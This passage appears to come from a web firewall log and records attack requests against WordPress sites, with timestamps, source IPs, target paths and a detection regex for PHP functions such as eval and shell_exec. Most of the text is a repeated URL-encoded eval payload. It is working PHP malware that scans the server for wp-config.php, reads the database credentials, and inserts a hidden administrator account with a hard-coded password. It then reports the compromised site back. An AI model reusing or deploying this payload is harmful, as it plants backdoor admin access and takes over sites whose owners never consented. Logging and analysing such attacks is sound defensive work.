20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept:*\/*\n\nGBStEu=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:24:50","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%2